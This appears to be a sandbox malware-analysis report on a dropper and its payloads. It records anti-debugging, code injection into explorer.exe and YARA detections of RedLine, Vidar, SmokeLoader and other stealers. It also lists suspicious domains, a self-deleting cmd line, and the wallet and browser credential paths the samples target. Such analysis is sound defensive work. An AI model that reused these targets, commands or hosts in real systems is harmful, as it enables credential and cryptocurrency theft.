Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_02BC0083 push dword ptr fs:[00000030h]	8_2_02BC0083
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_04790042 push dword ptr fs:[00000030h]	8_2_04790042
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00401000 mov eax, dword ptr fs:[00000030h]	22_2_00401000
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_0040BDE0 mov eax, dword ptr fs:[00000030h]	22_2_0040BDE0
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00891F83 push dword ptr fs:[00000030h]	22_2_00891F83

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	File opened: SICE

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Code function: 0_2_00406436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00406436

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_0040B240 GetProcessHeap,RtlAllocateHeap,

22_2_0040B240

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

Code function: 11_2_013F2823 rdtsc

11_2_013F2823

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Code function: 2_1_004027ED LdrLoadDll,

2_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_00406436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00406436
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040529C SetUnhandledExceptionFilter,	0_2_0040529C
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_00402FAF _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00402FAF
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00413711 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00413711
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_0041651C SetUnhandledExceptionFilter,	22_2_0041651C
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00413531 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_00413531

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-7000.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: host-file-host-3.com
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: ddigjgj.4.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\ddigjgj	Memory written: C:\Users\user\AppData\Roaming\ddigjgj base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Memory written: C:\Users\user\AppData\Local\Temp\C169.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Memory written: C:\Users\user\AppData\Local\Temp\B6B5.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\ddigjgj

Code function: 8_2_04790110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

8_2_04790110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Thread created: C:\Windows\explorer.exe EIP: 4E91930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Thread created: unknown EIP: 7651930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Thread created: unknown EIP: 5A91930

.NET source code references suspicious native API functions

Show sources

Source: C169.exe.4.dr, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 11.2.A70A.exe.12e0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Reference to suspicious API methods: ('CXGWjLQ8Hp', 'LoadLibrary@kernel32'), ('REpW7ZaJOo', 'GetProcAddress@kernel32')
Source: 11.2.A70A.exe.12e0000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 16.0.C169.exe.900000.1.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 16.0.C169.exe.900000.0.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 16.0.C169.exe.900000.2.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 16.0.C169.exe.900000.3.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 16.2.C169.exe.900000.0.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 23.0.C169.exe.990000.2.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 23.0.C169.exe.990000.5.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 23.2.C169.exe.400000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 23.0.C169.exe.990000.7.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Process created: C:\Users\user\Desktop\QMn13jz6nj.exe "C:\Users\user\Desktop\QMn13jz6nj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Process created: C:\Users\user\AppData\Roaming\ddigjgj C:\Users\user\AppData\Roaming\ddigjgj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process created: C:\Users\user\AppData\Local\Temp\C169.exe C:\Users\user\AppData\Local\Temp\C169.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Process created: C:\Users\user\AppData\Local\Temp\B6B5.exe C:\Users\user\AppData\Local\Temp\B6B5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process created: C:\Users\user\AppData\Local\Temp\EE61.exe C:\Users\user\AppData\Local\Temp\EE61.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5

Source: explorer.exe, 00000004.00000000.315554642.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.350341132.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.332266279.00000000011E0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.442571738.00000000034B0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.446096328.00000000034B0000.00000002.00020000.sdmp, C169.exe, 00000017.00000002.579526264.0000000001680000.00000002.00020000.sdmp, D375.exe, 0000001A.00000002.602370796.0000000001BB0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000000.349854626.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000004.00000000.315345388.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000004.00000000.330878431.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 00000004.00000000.315554642.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.350341132.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.317252454.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.332266279.00000000011E0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.442571738.00000000034B0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.446096328.00000000034B0000.00000002.00020000.sdmp, C169.exe, 00000017.00000002.579526264.0000000001680000.00000002.00020000.sdmp, D375.exe, 0000001A.00000002.602370796.0000000001BB0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.315554642.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.350341132.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.332266279.00000000011E0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.442571738.00000000034B0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.446096328.00000000034B0000.00000002.00020000.sdmp, C169.exe, 00000017.00000002.579526264.0000000001680000.00000002.00020000.sdmp, D375.exe, 0000001A.00000002.602370796.0000000001BB0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.315554642.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.350341132.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000004.00000000.332266279.00000000011E0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.442571738.00000000034B0000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.446096328.00000000034B0000.00000002.00020000.sdmp, C169.exe, 00000017.00000002.579526264.0000000001680000.00000002.00020000.sdmp, D375.exe, 0000001A.00000002.602370796.0000000001BB0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.321134099.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.340710494.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.359571061.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: GetProcessHeap,HeapAlloc,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,LocalFree,

22_2_0040A980

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A70A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A70A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A70A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A70A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A70A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C169.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C169.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EE61.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Entity.Design\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Entity.Design.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

Code function: 11_2_013E8386 cpuid

11_2_013E8386

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Code function: 0_2_004020E1 GetHandleInformation,GradientFill,GetSystemTimeAsFileTime,

0_2_004020E1

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_0040A8A0 GetProcessHeap,HeapAlloc,_memset,GetTimeZoneInformation,wsprintfA,

22_2_0040A8A0

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_0040A800 GetProcessHeap,HeapAlloc,GetUserNameA,

22_2_0040A800

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_00406760 _memset,_memset,GetVersionExA,LoadLibraryA,WideCharToMultiByte,WideCharToMultiByte,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,WideCharToMultiByte,lstrcatA,lstrcatA,lstrcatA,WideCharToMultiByte,lstrcatA,lstrcatA,lstrcatA,lstrcatA,WideCharToMultiByte,lstrcatA,FreeLibrary,

22_2_00406760

Source: C169.exe, 00000017.00000002.605075446.0000000006842000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 23.2.C169.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.C169.exe.3dd5e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.C169.exe.3dd5e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.A70A.exe.12e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.466738621.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.568172041.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.471013875.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.472952857.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A70A.exe PID: 3340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C169.exe PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C169.exe PID: 2256, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Cryptbot

Show sources

Source: Yara match	File source: 0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D375.exe PID: 6632, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000001C.00000002.503480050.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374208740.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.503274211.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.353435896.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435228556.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374186262.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435588764.00000000006B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AA02.exe PID: 5976, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: Bm1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: Bm-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: Bm5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: A70A.exe, 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: AA02.exe, 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D375.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\D375.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\D375.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
